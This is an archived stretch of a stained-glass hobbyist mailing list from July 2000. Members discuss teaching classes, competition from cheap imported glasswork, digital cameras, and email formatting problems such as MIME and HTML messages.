>much later, when cameras are cheaper and come with more functions), which kind 
>would you buy? (give model number please...)
>
>Candy
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Mon Jul  3 15:32:28 2000
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From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Williams <williams@nconnect.com>
Subject: teaching classes
Date: Mon, 3 Jul 2000 23:16:31 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

You will have seen my reply on the subject of classes in a previous e-
mail.  These comments apply to you too.

In addition a few comments occur to me.  I know that they will sound
rude to you and to the other enquirer, but they are meant kindly (as we
all have to start somewhere).
        Are you qualified to teach the craft and art of stained glass?
what kind of feedback have you had on the teaching you have done?  What
are your strengths as a craftsperson and as a teacher & what are your
weaknesses?  You have to play to your strengths and find ways of
minimising your weaknesses.
        Have you thought about a syllabus?  What are you going to teach,
and to what level?  What are your objectives for the students?  What do
you think the students objectives will be?

These are actually more important issues than the costs of supplies, or
even class pricing.  I guess I am old fashioned enough to want the
students to have an enjoyable time learning the techniques of stained
glass with a knowledgeable class leader and produce a well crafted
panel.

Enough ranting.
Good luck with your classes.

Steve
In message <1970Jan1.000.0@?>, Williams <williams@nconnect.com> writes
>This is a multi-part message in MIME format.
>
>------=_NextPart_000_003D_01BFE481.1BE3EEE0
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>
>Hi everyone, I have been working with stained glass for the last few =
>years and I have been given the opportunity to teach some introductory =
>classed in the community.  The town (in Wisconsin) I live in is very =
>cheap and will not spend a penny if they don't have a coupon.  I am now =
>buying all supplies at retail price but will now be able to buy =
>wholesale through the business I am working with, this will dramatically =
>lower the cost of the classes. The business has no knowledge of stained =
>glass or suppliers so I would like the groups help, if you would please, =
>on a few issues:
>
>1.  Does anyone have a wholesale supplier that they would recommend ?
>2.  What is a good class size ?  I have done 1 on 1 classes only.
>
>If you would like to send any other information regarding classes please =
>feel free.  The more information I have the better.  I know there is a =
>lot of knowledge in this group.
>
>Thank you in advance.
>
>A Touch of Glass
>Kim Williams
>williams@nconnect.com
>www.nconnect.net/~williams=20
>
>------=_NextPart_000_003D_01BFE481.1BE3EEE0
>Content-Type: text/html;
>       charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
><HTML><HEAD>
><META content=3D"text/html; charset=3Diso-8859-1" =
>http-equiv=3DContent-Type>
><META content=3D"MSHTML 5.00.2919.6307" name=3DGENERATOR>
><STYLE></STYLE>
></HEAD>
><BODY bgColor=3D#ffffff>
><DIV>Hi everyone, I have been working with stained glass for the last =
>few years=20
>and I have been given the opportunity to teach some introductory classed =
>in the=20
>community.&nbsp; The town (in Wisconsin) I live in is very cheap and =
>will not=20
>spend a penny if they don't have a coupon.&nbsp; I am now buying all =
>supplies at=20
>retail price&nbsp;but will now be able to buy wholesale through the =
>business I=20
>am working with, this will dramatically lower the cost of the classes. =
>The=20
>business has no knowledge of stained glass or suppliers so I would like =
>the=20
>groups help, if you would please, on a few issues:</DIV>
><DIV>&nbsp;</DIV>
><DIV>1.&nbsp; Does anyone have a wholesale supplier that they would =
>recommend=20
>?</DIV>
><DIV>2.&nbsp; What is a good class size ?&nbsp; I have done 1 on 1 =
>classes=20
>only.</DIV>
><DIV>&nbsp;</DIV>
><DIV>If you would like to send any other information regarding classes =
>please=20
>feel free.&nbsp; The more information I have the better.&nbsp; I know =
>there is a=20
>lot of knowledge in this group.</DIV>
><DIV>&nbsp;</DIV>
><DIV>Thank you in advance.</DIV>
><DIV>&nbsp;</DIV>
><DIV>A Touch of Glass<BR>Kim Williams<BR><A=20
>href=3D"mailto:williams@nconnect.com">williams@nconnect.com</A></DIV>
><DIV><A =
>href=3D"http://www.nconnect.net/~williams">www.nconnect.net/~williams</A>=
>=20
></DIV></BODY></HTML>
>
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>
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Mon Jul  3 15:43:41 2000
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From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: ARTIZ01@aol.com
Subject: Re: Classes
Date: Mon, 3 Jul 2000 23:06:15 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Among the things to think about are:

- space for work surfaces
- space for people to manoeuvre
- space for storing class materials
- space for storing class members work

I once had 10 people in an 1100 square foot space, with 7 benches and it
felt very, very crowded.

        The cost of supplies for the class members should be at or just
below retail prices (I.e. those available from catalogue suppliers).
You do not want to (nor to have people think you are) ripping them off.
It is possible of course, to include the glass and tools in the price of
the class, or insist the students buy their own materials from other
sources.

        The price for the classes will be related to the number of
people you can effectively teach.  The more you can teach the lower the
price can be (or the more money you can make if that is your game)
I find that I can effectively teach only 5 people at a time, so my
classes are probably a little more expensive than others, and certainly
much more expensive than local evening classes run by the colleges.
        But then, I don't run classes to make money,   I run them to
spread knowledge of stained glass, introduce people to a rewarding
craft, to meet new people and to get ideas from new people.

Before you advertise, you really need to do some market research on the
size of the market for craft classes.  Are they better attended in day
or evening? I wouldn't want to spend more than one person's fees on
advertising.  And nowadays, I don't advertise at all, because I get all
the people I can handle just by word of mouth.  

Steve
 
In message <1970Jan1.000.0@?>, ARTIZ01@aol.com writes
>Thinking about setting my studio up to teach classes.  Any help from the 
>bungi group would be great.  Like mark up on supplies and glass and price for 
>classes. Advertising etc.?
>Thanks in advance
>Bob
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Mon Jul  3 16:26:37 2000
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From: "Howard" <weaver51@teleport.com>
To: "Steve Richard" <s.richard@verrier-scotland.demon.co.uk>,
Content-Type: text/plain;
Subject: Re: Classes/ a must!
Date: Mon, 3 Jul 2000 16:03:16 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: weaver51@teleport.com
Precedence: bulk

LIABILITY insurance..........

Rumor that you (not me of course) can be cut by glass...........

Person cuts glass, glass cuts person, person sues (not glass, guess who?)


weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Mon Jul  3 18:03:25 2000
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From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: ebay
Date: Mon, 3 Jul 2000 16:00:44 -0700
Message-ID: <1970Jan1.000.0>
Organization: weaver51@teleport.com
Precedence: bulk

Hope to put a few shades and some of the roses and jewels by Wednesday.

Also a lot of Russian stacking dolls

I need to get familiar with MULTIPLE images in ONE address......
Capture with a snappy. No fancy digital camera for me!

I am using Corel 8. If anyone has the skill and the patience to assist me.
To see what helping me may be like, try PUSHING a chain UP a hill.

I will do a list post  when I (eventually) put up some shades on Ebay!

Happy 4th...........H

I list on Ebay under my e-mail address    weaver51@teleport.com

BYB, UNLOADED 550 BEANIE BABIES last week! appx. weight 150 pounds......

New collection (need to get a life).....State quarters, with luck, they
maybe worth almost what I paid (face)......





weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Digital Cameras
Date: Mon, 03 Jul 00 21:41:42 
Message-ID: <200007040344.VAA23311@mantis.privatei.com>
Precedence: bulk

Well guys, 

the Olympus Camedia C-2020 won my eye.. looking thru it was more like a regular 
camera than the others.. We'll see how it performs, but it's here to stay, for better or for 
worse. Now I have to pay it off.
I also got an extra 32 meg memory card (it came with 8) and it's serial so I had to buy an 
inbetween piece of equip called a memory card reader... 

If anyone would like to know where and how much, I'll be glad to tell them.

Candy


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From owner-glass Tue Jul  4 10:35:01 2000
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From: "Peggy W. Johnsen" <edupjohn@slonet.org>
To: rrk <ezbongo2@pacbell.net>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Mosaics & Suncatchers
Date: Tue, 4 Jul 2000 10:05:20 -0700 (PDT)
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Hi Bob:  Guess in my question I was concerned about the "watering" down of
stained glass by the imports to the point that the craft itself is likely
to be affected.  For example, woodworking used to be a craft but now it is
much cheaper to buy from a manufacturer whose product is just as nice or
even superior to the hand crafted furniture.

My concern (or thoughts not to the level of real concern) is that the
popularity of stained glass is reason enough for people to buy the
imports.  I am not concerned that it will affect my income so much as it
will reduce the interest that people have in wanting to make their own
stained glass.  I guess I am also trying to find better reasons for people
to learn the art of stained glass.  Peggy

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To: "Peggy W. Johnsen" <edupjohn@slonet.org>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Mosaics & Suncatchers
Date: Tue, 04 Jul 2000 05:50:02 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta2.snfc21.pbi.net>>
Precedence: bulk



"Peggy W. Johnsen" wrote:

> Hi Everyone:  Just wondering how widespread the Mosaics & Suncatchers from
> Mexico are.  I had a stained glass class that just completed a mosaic
> garden stone and most were discussing how much they would charge to make
> them for others.  In the meantime while browsing Orchard Hardware there
> was a display of mosaid stones and suncatchers that were really quite
> nice, good glass, good solder lines, etc.  But the 14 inch rounds were
> priced at $29.99.  Somewhat discouraging to say the least.  Peggy



Hi Peggy,

If you want to compete with low price imports, you'll have to do so on the
basis of something other than price.

Howard offers high quality products unavailable from other sources and can
therefore compete.  This is a limited market since not many people can afford
$1,000 to $3,000 USD for a relatively small lamp no matter how much they like
it, but he manages it appears.

Sell yourself ... your charm and good looks. <G>

Sell Art with a capital A.

Sell Craftsmanship (art with a little a).

Sell "feel good" works.

Do something sexy ... make your product more appealing that is.

But do not try to sell on the basis of price alone, you'll lose.

Its awful hard to compete with the products from a country like China.  Just
be glad that with your concrete stepping stones you only have to compete with
Mexican workers (due to the high cost of shipping things made of concrete
across the Pacific ocean) who earn more than the Chinese though substantially
less than we do.

FYI : a *skilled* workman in China earns about $40 USD per month, considering
that represents about 50 hrs/week ... that is approximately $0.20 USD per
hour.  An unskilled workman earns about half that, or around $0.10 USD per
hour.  This is why production of labor intensive items (like stained glass)
are being moved to such countries whenever possible.

When I was last in Houston (January 2000) I visited the Houston Stained Glass
Supply, which is basically a huge warehouse and very close (a couple of miles)
to my folks home.  They had a minimum of 2,000 crates of glass on display (I
counted <G>) from every major sg maker.  While I was there, several large
shipping containers were being unloaded ... approximately 50 crates of stained
glass.  The crates were from China.  I didn't have time to wait.  But the
first crates out of the container were Armstrong Glass.  Clearly marked on the
outside was MADE IN CHINA.  I presume that most other stained glass mfgs are
doing the same or contemplating it.

If the above makes you unhappy, then don't buy inexpensive products from those
countries ... and ... remember who it was that pushed NAFTA (North American
Free Trade Agreement) ... and more recently the trade agreements concerning
China ... when it comes time to vote next November.

Me and mine are going to the stadium of the local junior college tonight where
we'll sing the Songs of America along with several thousand others ...
followed by a modest fireworks display.  Having lived abroad for a long time,
I appreciate the opportunity to be able to do this.

Happy 4th of July to all.

Regards ........... Bob K.

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From owner-glass Tue Jul  4 10:38:18 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Classes
Date: Tue, 4 Jul 2000 13:06:01 -0400
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Message text written by INTERNET:ARTIZ01@aol.com
>Thinking about setting my studio up to teach classes.  Any help from the=
 =

bungi group would be great.  Like mark up on supplies and glass and price=

for =

classes. Advertising etc.?<

Advertising: Yellow Pages ads work for year round classes.  You can get
free publicity for the "kick off" of
your studio offering classes by sending out a press release (with photos!=
)
to all the local newspapers.  More
than likely, one or more will want to do a feature on something of specia=
l
interest, like glass work.

Christie A. Wood
North Wales, PA USA
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From owner-glass Tue Jul  4 10:48:57 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: IGGA Press Release:Estonia primitive glass art workshop
Date: Tue, 4 Jul 2000 13:05:55 -0400
Message-ID: <1970Jan1.000.0>
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The following email press release is being provided by the International =
Guild of
Glass Artists (IGGA) as a service to our online members.  It does not imp=
ly endorsement.

Christie A. Wood - IGGA Exec. Director
North Wales, PA USA
-------------Forwarded Message-----------------
From:	merle, INTERNET:merle.hiis@mail.ee
Date:	07/03/2000 11:00 AM
RE:	primitive glass art workshop
 =

Dear friends,
on behalf of the Palamuse Glass House, I=B4m inviting You to participate
in the 3rd International Primitive Glass Art Workshop, which takes place
July 8-21, 2000 at Rehemoldre Ait, Palamuse, Estonia.

Palamuse Glass House is a non-profit organization, which unites young
Estonian glass artists, offers a practice basis for art students and
organizes various art events. It was founded in 1997 and is located in th=
e
picturesque South Estonian countryside. More info can be found at our web=
site:
http://www.klaasikoda.ee

The Primitive Glass art Workshop aims to experiment with ancient
techniques of glassworking: we build wood-heated furnaces in the style of=
 Afghan
and Indian glassmakers, and medieval firing kilns as described by Theophi=
lus.

The workshop is a public event, where all visitors have a chance to
participate. For artists, participation and camping on site is free of ch=
arge.

More about traveling and lodging:
How to get there: Palamuse is situated in Jogeva county. Buses
to Palamuse leave from the towns of Jogeva and Tartu. When coming
from Tallinn by train, Kaarepere station is closest to Palamuse (5km).
Places to stay at: there is a cheap hostel at Luua, 4 km from
the site, and several tourist farms in the surroundings.

Contact us:
Merle Hiis: (+372)6356745, merle.hiis@mail.ee
Kaia Kullamaa (+37)25177212, kaia.kullamaa@mail.ee

Yours sincerely,
Merle Hiis
July 3, 2000=
----
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From owner-glass Tue Jul  4 12:37:33 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: ezbongo2@pacbell.net, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Mosaics & Suncatchers
Date: Tue, 4 Jul 2000 15:12:17 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 7/4/00 10:36:19 AM Pacific Daylight Time, 
ezbongo2@pacbell.net writes:

> In the meantime while browsing Orchard Hardware there
>  > was a display of mosaic stones and suncatchers that were really quite
> > nice, good glass, good solder lines, etc.  But the 14 inch rounds were
> > priced at $29.99.  Somewhat discouraging to say the least.  Peggy

Plain 14 inch concrete rounds can be purchased for as little as US$ 1.29. So, 
adding a little glass and marking up to US$ 29.99 is not such a bad deal. 
Realize that these stones are turned out on a production line basis. I have a 
cement mixer that in less than ten minutes will make five cubic feet of 
cement for a material cost of US$ 5.00. This is enough cement for about 
twenty 14 inch rounds for a material cost of 25 cents each.

AT US$ 29.99 these stepping stones are a rip off. Now if the design were 
unique it would be a different story. There is not much point in using 
expensive glass due to it being mounted in cement and subject to scratching.


Cheers, Bob in 9 2 0 2 6
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From owner-glass Tue Jul  4 14:16:46 2000
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From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Mosaics & Suncatchers
Date: Tue, 04 Jul 00 12:56:53 
Message-ID: <200007041859.MAA15034@mantis.privatei.com>
Precedence: bulk

On Tue, 04 Jul 2000 05:50:02 -0700, rrk wrote:

>When I was last in Houston (January 2000) I visited the Houston Stained Glass
>Supply, which is basically a huge warehouse and very close (a couple of miles)
>to my folks home.  They had a minimum of 2,000 crates of glass on display (I
>counted <G>) from every major sg maker.  While I was there, several large
>shipping containers were being unloaded ... approximately 50 crates of stained
>glass.  The crates were from China.  I didn't have time to wait.  But the
>first crates out of the container were Armstrong Glass.  Clearly marked on the
>outside was MADE IN CHINA.  I presume that most other stained glass mfgs are
>doing the same or contemplating it.

Regards ........... Bob K.

But Bob,

I've been to Atlanta and seen them making the Armstrong Glass... it's cheap because 
they anneal it for only 20 min... and prob use cheapest cullet, etc. 

I'm not saying you didn't see crates from China.. but I know they've been imitating 
Armstrong cuz it's easier to imitate.. and they've started imitating some of the big 
companies now, too..

I guess all my glass is USA (or England where marked) since, except for my Bullseye, I 
bought 90% of it over 15 yrs ago....

Candy

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From owner-glass Tue Jul  4 14:30:55 2000
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From: "morgan oldacre" <magnetcats@prodigy.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: suggestions, please
Date: Tue, 4 Jul 2000 17:39:44 -0000
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This is a multi-part message in MIME format.

------=_NextPart_000_0098_01BFE5DE.D7747FE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Does anyone have any idea why my messages always appear on this list in =
MIME format?  I'm on three other lists (all cat related--I show cats, =
too) and they always show up in text format.  Any suggestions on what I =
can do to alleviate this problem?  Thanks,
Morgan
....keeping high aspirations and low expectations

------=_NextPart_000_0098_01BFE5DE.D7747FE0
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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Does anyone have any idea why my =
messages always=20
appear on this list in MIME format?&nbsp; I'm on three other lists (all =
cat=20
related--I show cats, too) and they always show up in text format.&nbsp; =
Any=20
suggestions on what I can do to alleviate this problem?&nbsp;=20
Thanks,</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT =
size=3D2>Morgan</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>....keeping high aspirations and low =

expectations</FONT></DIV></BODY></HTML>

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From owner-glass Tue Jul  4 15:13:30 2000
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From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: MIME setting in this forum
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Tue, 4 Jul 2000 18:06:34 +0000
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> Does anyone have any idea why my messages always appear on this list
> in = MIME format?

There's nothing *you can do about it, Morgan. People on this list are 
stained glass hobbyists and professionals, not computer pros, so many 
of them don't know how to turn off MIME and go text only. It's also 
possible many of them prefer MIME themselves, but it's the other 
participants settings that control that, not yours. <smile>

It'd be nice if nobody used the MIME setting as far as I'm concerned 
(since I prefer text only) but I can live with it. <grin>

Albert
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From owner-glass Tue Jul  4 23:23:20 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Made in China
Date: Tue, 4 Jul 2000 23:58:22 -0400
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Bob,
    I have recently been to the new Armstrong factory in Jasper, Ga.  They
make their glass right there on premises.  Is it possible that the crates
were made in China?  I  spent the better part of a day watching their whole
operation.  It is fascinating, albeit hot work.  They plop the molten glass
onto a flat trolley, mix the colors they want and it is annealed quickly on
a conveyer belt.  It is then inspected and cut into sheets and cured.  Then
it is taken to the warehouse and crated.
    I would say that judging by their production schedule, they do not need
to do any importing to meet demand.
    This is all very interesting though.
Moya

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From owner-glass Wed Jul  5 10:02:54 2000
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X-Path: clientes.euskaltel.es!elere
From: "Elena Rod4ríguez Echebarria" <elere@clientes.euskaltel.es>
To: Bungi List <glass@bungi.com>
Content-Type: multipart/mixed; boundary="------------3B98722BED2134FB32D1A050"
Subject: cheap SG
Date: Wed, 05 Jul 2000 16:36:28 +0200
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Este es un mensaje multipartes en formato MIME.
--------------3B98722BED2134FB32D1A050
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Hello Peggy and all bungians
The cheap import thing is also present here in Spain, specially cemented

lanterns, vases, frames and Tiffany reproductions, from South America,
the far
East and particularly from China (no suncatchers, there's no tradition
for
that here); there is also at least one Spanish company that makes
Tiffany
reproductions, also cheap; you can see them in many interior decor
shops;
maybe the difference in Spain is that it wasn't popular before, I mean
there's
not such a thing as the craft tradition SG has in other countries; some
of the
cheap stuff is not very well soldered and some of it not even well
cleaned
(yes, remains of patina staining the glass), not all, some is decently
presented. In my opinion, and in the Spanish case, this encourages a
like for
SG, or at least a knowledge of it, therefore people will be able to
compare
and appreciate well finished, original stuff. I don't know if this point
of
view applies to the situation over there. But I still think that the
point to
work at is stressing the difference (in design, craftmanship, marketing
....).

Best regards
Elena in Bilbao

Peggy W. Johnsen escribió:

> Hi Bob:  Guess in my question I was concerned about the "watering"
down of
> stained glass by the imports to the point that the craft itself is
likely
> to be affected.  For example, woodworking used to be a craft but now
it is
> much cheaper to buy from a manufacturer whose product is just as nice
or
> even superior to the hand crafted furniture.
>
> My concern (or thoughts not to the level of real concern) is that the
> popularity of stained glass is reason enough for people to buy the
> imports.  I am not concerned that it will affect my income so much as
it
> will reduce the interest that people have in wanting to make their own

> stained glass.  I guess I am also trying to find better reasons for
people
> to learn the art of stained glass.  Peggy
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass





--------------3B98722BED2134FB32D1A050
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Message-ID: <39634704.BB9FEB8@clientes.euskaltel.es>
Date: Wed, 05 Jul 2000 16:32:37 +0200
From: "Elena Rod4ríguez Echebarria" <elere@clientes.euskaltel.es>
Reply-To: elere@clientes.euskaltel.es
X-Mailer: Mozilla 4.03 [es]C-EKT-V1.0  (Win95; I)
MIME-Version: 1.0
To: "Peggy W. Johnsen" <edupjohn@slonet.org>
CC: rrk <ezbongo2@pacbell.net>
Subject: Re: Mosaics & Suncatchers
References: <<3961DD7A.52CBFE00@pacbell.net>> <1970Jan1.000.0>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hello Peggy and all bungians
The cheap import thing is also present here in Spain, specially cemented
lanterns, vases, frames and Tiffany reproductions, from South America, the far
East and particularly from China (no suncatchers, there's no tradition for
that here); there is also at least one Spanish company that makes Tiffany
reproductions, also cheap; you can see them in many interior decor shops;
maybe the difference in Spain is that it wasn't popular before, I mean there's
not such a thing as the craft tradition SG has in other countries; some of the
cheap stuff is not very well soldered and some of it not even well cleaned
(yes, remains of patina staining the glass), not all, some is decently
presented. In my opinion, and in the Spanish case, this encourages a like for
SG, or at least a knowledge of it, therefore people will be able to compare
and appreciate well finished, original stuff. I don't know if this point of
view applies to the situation over there. But I still think that the point to
work at is stressing the difference (in design, craftmanship, marketing ....).

Best regards
Elena in Bilbao

Peggy W. Johnsen escribió:

> Hi Bob:  Guess in my question I was concerned about the "watering" down of
> stained glass by the imports to the point that the craft itself is likely
> to be affected.  For example, woodworking used to be a craft but now it is
> much cheaper to buy from a manufacturer whose product is just as nice or
> even superior to the hand crafted furniture.
>
> My concern (or thoughts not to the level of real concern) is that the
> popularity of stained glass is reason enough for people to buy the
> imports.  I am not concerned that it will affect my income so much as it
> will reduce the interest that people have in wanting to make their own
> stained glass.  I guess I am also trying to find better reasons for people
> to learn the art of stained glass.  Peggy
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass




--------------3B98722BED2134FB32D1A050--

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From owner-glass Wed Jul  5 20:05:58 2000
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X-Path: juno.com!pkinnetz
From: Peggy L Kinnetz <pkinnetz@juno.com>
To: ezbongo2@pacbell.net, glass@bungi.com
Content-Type: text/plain
Subject: Re: Blank Emails
Date: Wed, 5 Jul 2000 22:50:20 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

ok, I looked for "view source" but didn't find anything even remotely
similar. Where do I look? there are several categories to choose from.  I
have Juno email.  Peggy
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From owner-glass Wed Jul  5 20:31:26 2000
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From: Peggy L Kinnetz <pkinnetz@juno.com>
To: pennyante@juno.com, glass@bungi.com
Content-Type: text/plain
Subject: Re: Blank Emails
Date: Wed, 5 Jul 2000 22:14:31 -0400
Message-ID: <1970Jan1.000.0>
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Me too, What's causing all the blank mail? sometimes I'm so frustrated
when a special topic is in the header, and I can't read it.  Is it
something that i can fix or is it something that is just unique to Bungi?
 This doesn't happen on my other email lists.  Peggy
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From owner-glass Wed Jul  5 21:33:42 2000
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From: "Bev Kelly" <till8er@alimac.com>
To: "Candy" <candy@ghostman.com>,
Content-Type: text/plain;
Subject: Re: Photographing windows
Date: Wed, 5 Jul 2000 21:07:20 -0700
Message-ID: <1970Jan1.000.0>
References: <<200007031443.IAA00681@mantis.privatei.com>>
Precedence: bulk

I too, am looking at digital camara,,,,,please enlighten me with any
information.

Thanks

Bev
-----


----- Original Message -----
From: Candy <candy@ghostman.com>
To: <glass@bungi.com>
Sent: Monday, July 03, 2000 8:40 AM
Subject: Re: Photographing windows


> Albert,
> I'm in the process of buying a digital camera. I've always preferred
Ricoh, but am not
> _quite_ pleased with bang for my buck..
>
> what kind of digital camera do you have? If you could do it again, (this
of course being
> much later, when cameras are cheaper and come with more functions), which
kind
> would you buy? (give model number please...)
>
> Candy
>
> ----
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>

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From owner-glass Thu Jul  6 06:09:23 2000
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From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Blank Emails
Date: Thu, 06 Jul 2000 08:46:33 -0400
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I've never recieved even one single blank email from bungi.
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From owner-glass Thu Jul  6 06:36:29 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Dee Thompson" <deethom@erols.com>,
Subject: Re: Blank Emails
Date: Thu, 6 Jul 2000 09:16:27 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Dee,
I am using an older version of IE and I get a few, but it isn't any big
deal, if there is a subject line with something I am really interested in
and a blank message I will drop a line to the author and ask.  But I just
press on.  Too much good stuff to read.  This subject has been going on for
ages, and I have not found an answer for me, but oh well.  Glad you are
getting them all, I will write you if I need any information.  :-)
Take care,
Eljay
-----Original Message-----
From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com <glass@bungi.com>
Date: Thursday, July 06, 2000 9:16 AM
Subject: Re: Blank Emails


>I've never recieved even one single blank email from bungi.
>----
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>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass


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From owner-glass Thu Jul  6 07:34:31 2000
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X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Blank Emails
Date: Wed, 04 Nov 1998 10:18:38 -0800
Message-ID: <1998Nov4.21838.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Just copy the blank email to a notepad and you will be able to read it.

Geneva

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From owner-glass Thu Jul  6 08:03:35 2000
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X-Path: alimac.com!till8er
From: "Bev Kelly" <till8er@alimac.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Gatewayed mail message
Date: Thu, 6 Jul 2000 07:39:43 -0700
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_00C4_01BFE71D.59FEC580
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


I was trying to figure out what everyone was talking about MIME.  I did =
a little investigating,  see the results.  I have 98 windows/Microsoft. =
Hopefully this message is in plain text.


Formatting

When you want to add special emphasis or structure to message text-such =
as bold, color, or bulleted lists-you can use Hypertext Markup Language =
(HTML), the standard for formatting text for the Internet. Using HTML =
formatting also enables you to add graphics and links to Web sites in =
your messages.=20

When you use HTML formatting and the recipient's mail or news program =
does not read HTML, the message appears as plain text with an HTML file =
attached. Only e-mail programs that support MIME (Multipurpose Internet =
Mail Extensions) can read HTML formatting.=20

The following topics provide more information



Using HTML formatting
When you create messages using HTML formatting, only mail programs that =
support HTML can read the formatting. If the recipient's mail or =
newsreading program does not read HTML, the message is displayed as =
plain text with an HTML file attached.=20

To use HTML formatting on all outgoing messages
  1.. In the main window, click the Tools menu, click Options, and then =
click the Send tab.=20

  2.. In the Mail Sending Format or News Sending Format sections, click =
HTML.=20

To use HTML formatting on an individual message

  a.. In an e-mail message window, make sure HTML formatting is turned =
on by clicking the Format menu. HTML formatting is turned on when a =
black dot appears by Rich Text (HTML).=20
Notes
  a.. To edit the HTML source tags, click the View menu and make sure a =
check mark appears next to Source Edit. Then, select the Source tab and =
start editing.=20

  b.. To set up Outlook Express so that your message replies are sent in =
a format that the originator's mail or newsreading program can read, in =
the main window, click the Tools menu, click Options, and then click the =
Send tab. Check the Reply to messages using the format in which they =
were sent check box.=20






------=_NextPart_000_00C4_01BFE71D.59FEC580
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>&nbsp;</DIV>
<DIV class=3DtopicH><FONT face=3DArial>I was trying to figure out what =
everyone was=20
talking about MIME.&nbsp; I did a little investigating,&nbsp; see the=20
results.&nbsp; I have 98 windows/Microsoft. Hopefully this message is in =
plain=20
text.</FONT></DIV>
<DIV class=3DtopicH>&nbsp;</DIV>
<DIV class=3DtopicH>&nbsp;</DIV>
<DIV>
<P>Formatting</P>
<P>When you want to add special emphasis or structure to message =
text&#8212;such as=20
bold, color, or bulleted lists&#8212;you can use Hypertext Markup =
Language (HTML), the=20
standard for formatting text for the Internet. Using HTML formatting =
also=20
enables you to add graphics and links to Web sites in your messages. =
</P>
<P>When you use HTML formatting and the recipient's mail or news program =
does=20
not read HTML, the message appears as plain text with an HTML file =
attached.=20
Only e-mail programs that support MIME (Multipurpose Internet Mail =
Extensions)=20
can read HTML formatting. </P>
<P>The following topics provide more information</P>
<P>&nbsp;</P>
<H5 class=3Dproch><A name=3Dmailnews_turn_on_html></A>Using HTML =
formatting</H5>
<P>When you create messages using HTML formatting, only mail programs =
that=20
support HTML can read the formatting. If the recipient's mail or =
newsreading=20
